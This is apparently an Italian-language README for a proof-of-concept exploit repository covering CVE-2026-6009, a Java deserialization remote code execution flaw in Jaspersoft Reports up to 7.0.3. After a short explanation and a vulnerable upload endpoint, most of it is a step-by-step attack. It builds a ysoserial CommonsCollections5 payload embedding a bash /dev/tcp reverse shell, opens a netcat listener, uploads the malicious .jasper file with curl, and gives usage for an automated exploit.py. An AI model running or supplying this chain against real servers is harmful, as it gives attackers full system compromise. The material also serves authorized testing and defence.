
Exploit PoC automatizzato per CVE-2026-6009, una RCE da deserializzazione Java in Jaspersoft Reports <=7.0.3. Genera payload .jasper dannosi tramite ysoserial e fornisce una reverse shell attraverso l'endpoint di upload dei file.
⚠️ Avvertenza: Questo repository è solo a scopo educativo e per test di sicurezza autorizzati. Non utilizzare contro sistemi che non possiedi o per i quali non hai ottenuto esplicita autorizzazione scritta.
La libreria Jaspersoft report versione <= 7.0.3 è vulnerabile a un'esecuzione di codice remoto (RCE) sfruttando il flusso di deserializzazione Java. Questa vulnerabilità consente a un attaccante di stabilire una connessione con una reverse shell sul sistema che utilizza questa versione della libreria.
Per trasmettere dati, alcuni sistemi devono convertire un oggetto in un formato trasmissibile specifico: questo è il serializzazione. Il deserializzazione è l'operazione inversa. In Java, il meccanismo vulnerabile è in ObjectInputStream.readObject() che viene utilizzato per deserializzare qualsiasi oggetto da un flusso di input. Poiché utilizza questo metodo per leggere i file di report nella libreria Jaspersoft, rappresenta un punto di ingresso pericoloso per inserire codice malevolo.
JRLoader.loadObject()Da sola readObject() non è sufficiente per attivare il codice. Funziona solo su classi note sfruttabili. Pertanto, gli attaccanti utilizzano catene di gadget note come CommonCollection per eseguire i propri payload.
Per poter realizzare una Prova di Concetto (PoC), ho creato un laboratorio su una macchina Parrot con un server web Java che utilizza la libreria Jaspersoft Report:
OS: Parrot OS 7 GNU/Linux Framework: Spring Boot versione 2.7.18 Dipendenza: Jasperreports versione 7.0.3 Ambiente: Java 11 Compilatore: Maven
@PostMapping("/upload-report")
public String uploadReport(@RequestParam("file") MultipartFile file) {
try {
InputStream is = file.getInputStream();
// ObjectInputStream.readObject() chiamato internamente da JRLoader
JasperReport report = (JasperReport) JRLoader.loadObject(is);
...
Per il primo passaggio, una volta che sai che il sistema di destinazione utilizza una versione vulnerabile di Jasperreport, devi trovare la destinazione esatta in cui il target riceverà il file jasper.
In questo ambiente, è http://localhost:8080/upload-report
Poi devi trovare un modo per scoprire quale classe può essere usata come catena di gadget nel sistema di destinazione. Puoi anche provare alcune e vedere quale attiva il sistema.
In un contesto whitebox, possiamo cercare questa informazione da soli:
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"
Scopriamo che il sistema utilizza CommonsCollections.
Per CommonsCollections, usa lo script ysoserial per generare il payload desiderato. Qui, crea una reverse shell:
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper
Probabilmente dovrai testare diverse versioni di CommonCollections per eseguire il payload.
Per effettuare una connessione reverse shell, dobbiamo metterci in ascolto su una porta per ricevere la connessione dal sistema di destinazione avviata dal payload:
nc -lnvp 4444
Infine, basta inviare il payload creato nella posizione trovata e controllare la porta per confermare che la connessione sia stata stabilita dal sistema di destinazione:
curl -X POST http://localhost:8080/upload-report -F "[email protected]"
Un attaccante con accesso all'endpoint potrebbe eseguire codice arbitrario con i privilegi del server, portando a una compromissione completa del sistema.
exploit.py è uno script automatizzato per riprodurre lo sfruttamento della vulnerabilità CVE-2026-6009.
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444
| Flag | Descrizione |
|---|---|
| -t, --target | Posizione in cui caricare il file .jasper |
| -s, --source | Il tuo indirizzo IP |
| -p, --port | La porta a cui vuoi che la reverse shell si connetta |